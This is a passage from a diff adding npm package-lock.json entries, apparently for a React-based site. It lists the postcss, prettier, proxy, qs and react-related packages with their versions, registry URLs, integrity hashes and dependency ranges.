"sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.3.tgz", + "integrity": "sha512-2/u2zraspoACtrbFRnTijMiQtb4GW4BvatjaG/bCjYQo8kLTdevCUlwuBHx2sCnSyrI3x3qj4ZK1j5LQBgzmwA==", + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url/node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-idents": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-5.2.0.tgz", + "integrity": "sha512-BTrLjICoSB6gxbc58D5mdBK8OhXRDqud/zodYfdSi52qvDHdMwk+9kB9xsM8yJThH/sZU5A6QVSmMmaN001gIg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-sort-media-queries": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/postcss-sort-media-queries/-/postcss-sort-media-queries-4.4.1.tgz", + "integrity": "sha512-QDESFzDDGKgpiIh4GYXsSy6sek2yAwQx1JASl5AxBtU1Lq2JfKBljIPNdil989NcSKRQX1ToiaKphImtBuhXWw==", + "dependencies": { + "sort-css-media-queries": "2.1.0" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.4.16" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==" + }, + "node_modules/postcss-zindex": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-5.1.0.tgz", + "integrity": "sha512-fgFMf0OtVSBR1va1JNHYgMxYk73yhn/qb4uQDq1DLGYolz8gHCyr/sesEuGUaYs58E3ZJRcpoGuPVoB7Meiq9A==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/preact": { + "version": "10.17.1", + "resolved": "https://registry.npmjs.org/preact/-/preact-10.17.1.tgz", + "integrity": "sha512-X9BODrvQ4Ekwv9GURm9AKAGaomqXmip7NQTZgY7gcNmr7XE83adOMJvd3N42id1tMFU7ojiynRsYnY6/BRFxLA==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/preact" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "devOptional": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha512-ravE6m9Atw9Z/jjttRUZ+clIXogdghyZAuWJ3qEzjT+jI/dL1ifAqhZeC5VHzQp1MSt1+jxKkFNemj/iO7tVUA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/prettier": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.2.tgz", + "integrity": "sha512-o2YR9qtniXvwEZlOKbveKfDQVyqxbEIWn48Z8m3ZJjBjcCmUy3xZGIv+7AkaeuaTr6yPXJjwv07ZWlsWbEy1rQ==", + "dev": true, + "peer": true, + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/prettier-linter-helpers": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz", + "integrity": "sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==", + "dev": true, + "dependencies": { + "fast-diff": "^1.1.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-time": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/pretty-time/-/pretty-time-1.1.0.tgz", + "integrity": "sha512-28iF6xPQrP8Oa6uxE6a1biz+lWeTOAPKggvjB8HAs6nVMKZwf5bG++632Dx614hIWgUPkgivRfG+a8uAXGTIbA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/prism-react-renderer": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/prism-react-renderer/-/prism-react-renderer-1.3.5.tgz", + "integrity": "sha512-IJ+MSwBWKG+SM3b2SUfdrhC+gu01QkV2KmRQgREThBfSQRoufqRfxfHUxpG1WcaFjP+kojcFyO9Qqtpgt3qLCg==", + "peerDependencies": { + "react": ">=0.14.9" + } + }, + "node_modules/prismjs": { + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.29.0.tgz", + "integrity": "sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "dependencies": { + "asap": "~2.0.3" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/property-information": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-5.6.0.tgz", + "integrity": "sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA==", + "dependencies": { + "xtend": "^4.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" + }, + "node_modules/pupa": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz", + "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==", + "dependencies": { + "escape-goat": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pure-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", + "integrity": "sha512-QFADYnsVoBMw1srW7OVKEYjG+MbIa49s54w1MA1EDY6r2r/sTcKKYqRX1f4GYvnXP7eN/Pe9HFcX+hwzmrXRHA==" + }, + "node_modules/qs": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz", + "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/queue/-/queue-6.0.2.tgz", + "integrity": "sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==", + "dependencies": { + "inherits": "~2.0.3" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", + "integrity": "sha512-kA5WQoNVo4t9lNx2kQNFCxKeBl5IbbSNBl1M/tLkw9WCn+hxNBAW5Qh8gdhs63CJnhjJ2zQWFoqPJP2sK1AV5A==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/rc/node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react/-/react-17.0.2.tgz", + "integrity": "sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-accessible-accordion": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-accessible-accordion/-/react-accessible-accordion-5.0.0.tgz", + "integrity": "sha512-MT2obYpTgLIIfPr9d7hEyvPB5rg8uJcHpgA83JSRlEUHvzH48+8HJPvzSs+nM+XprTugDgLfhozO5qyJpBvYRQ==", + "peerDependencies": { + "react": "^16.3.2 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.3.3 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-base16-styling": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.6.0.tgz", + "integrity": "sha512-yvh/7CArceR/jNATXOKDlvTnPKPmGZz7zsenQ3jUwLzHkNUR0CvY3yGYJbWJ/nnxsL8Sgmt5cO3/SILVuPO6TQ==", + "dependencies": { + "base16": "^1.0.0", + "lodash.curry": "^4.0.1", + "lodash.flow": "^3.3.0", + "pure-color": "^1.2.0" + } + }, + "node_modules/react-dev-utils": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "dependencies": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/loader-utils": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz", + "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/react-dev-utils/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dom": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-17.0.2.tgz", + "integrity": "sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "scheduler": "^0.20.2" + }, + "peerDependencies": { + "react": "17.0.2" + } + }, + "node_modules/react-error-overlay": { + "version": "6.0.11", + "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz", + "integrity": 